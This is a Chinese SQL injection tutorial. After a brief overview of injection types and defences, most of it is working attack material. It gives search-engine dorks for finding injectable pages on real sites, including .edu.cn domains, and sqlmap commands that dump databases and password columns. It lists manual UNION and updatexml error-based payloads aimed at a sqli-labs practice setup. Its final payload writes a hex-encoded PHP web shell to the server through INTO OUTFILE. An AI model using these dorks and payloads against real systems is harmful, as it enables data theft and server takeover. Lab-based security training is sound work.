SQL注入漏洞
SQL注入漏洞是OWASP十大漏洞之一,常年霸榜前3.
它不是利用操作系统来实现攻击。而是针对开发编写时的疏漏,通过SQL语句,实现无账号登录,篡改数据,盗取账号密码,盗取企业数据,脱库等。
SQL注入的分类
联合注入 UNION query SQL injection
错误注入 Error-based SQL injection
布尔注入 Boolean-based blind SQL injection
世界延迟注入 Time-based blind SQL injection
多语句查询注入 Stacked queries SQL injection
SQL注入的危害
脱库导致用户数据泄露
危害web等应用安全
失去操作系统的控制权
用户信息被买卖
危害国家以及企业安全
SQL注入防御
1,通过WAF设备防护
2,云盾防护阿里云盾等。
3,对输入的进行严格转义和过滤
4,使用参数化(Parameterized):目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
漏洞挖掘
web应用在获取用户数据的地方,只要带入数据库查询,都有可能存在SQL注入
get数据,如URL中存在?id=1的这种
port数据,对浏览器发送一个port数据,携带的数据中存在变量值,
http头部(http请求报文其他字段,如cookie,user-agent)
搜索引擎搜索SQL注入漏洞
通过Google搜索可能存在注入的页面
inurl:.php?id=
inurl:.jsp?id=
inurl:.asp?id=
inurl:/admin/login.php
inurl:.php?id= intitle:美女
通过百度搜索可能存在注入的页面
inurl:news.asp?id= site:edu.cn
inurl:news.php?id= site:edu.cn
inurl:news.aspx?id= site:edu.cn
SQL注入点判断
单引号判断
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' 页面报错可能存在SQL注入
and判断
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=1 --+ 页面正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 --+ 页面错误可能存在SQL注入
sleep判断
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) --+ 浏览器延时5秒可能存在SQL注入
字符型注入点判断
http://127.0.0.1/sqli-labs-master/Less-1/?id= 1' and '1'='1 页面返回正常
http://127.0.0.1/sqli-labs-master/Less-1/?id= 1' and '1'='2 页面返回不正常可能存在SQL注入
or判断
http://192.168.12.142/search.php?id=1' or 1=1 --+
http://192.168.12.142/search.php?id=1' or 1=2 --+
or跟and判断方法不一样的,and是提交返回错误才有注入点,而OR是提交返回正确有注入点
xor判断
http://192.168.12.142/search.php?id=1' xor 1=1
http://192.168.12.142/search.php?id=1' xor 1=2
xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点
sqlmap自动化注入
支持众多数据库,MySQL, ACCESS,MSSQL, SQL Server、Oracle等
SQLmap基本使用流程
sqlmap -u 'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --batch 判断是否存在SQL注入
sqlmap -u 'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --dbs --batch 扫描所有库
sqlmap -u 'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --current-db --batch 获取当前数据库
sqlmap -u 'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' -D d7db --tables --batch 获取表名
sqlmap -u 'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' -D d7db -T users --columns --batch 获取字段名
sqlmap -u 'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' -D d7db -T users -C "name,pass" --dump --batch 获取字段内容
其他识别判断
sqlmap -u 'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --current-user 查询数据库当前用户
sqlmap -u 'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --is-dba 查看是否是dba权限
sqlmap -u 'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --current-db 查看当前数据库名称
sqlmap -u 'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --passwords 枚举数据库用户密码
sqlmap -u 'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --users 枚举数据库用户名称
sqlmap -u 'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' -f 指纹识别
sqlmap -u 'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' -b 获取更精确的指纹识别结果
sqlmap -u 'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --identify-waf WAF识别
手工注入查询
union 联合查询注入 UNION query SQL injection
union 联合查询注入
http://192.168.1.105/sqli-labs-master/Less-1/?id=1' 页面报错存在SQL注入
http://192.168.1.105/sqli-labs-master/Less-1/?id=-1 order by 4 --+ 判断当前表的字段个数
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+ 判断我们的输入会在屏幕哪个地方进行回显
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 --+ 爆出当前数据库
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 爆表
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+ 爆字段
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users --+ 爆字段内容
报错注入Error-based SQL injection
报错注入
报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入。
报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。
extractvalue() 函数
?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+
updatexml() 函数
and updatexml(1,concat('^',(database()),'^'),1) --+
注入流程
#获取当前数据库名称
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s
#获取当前数据库所有表名称
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有列名称
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有username和password的值
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-5/?id=1' into outfile 'C:/less5.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373355d293b3f3e-- s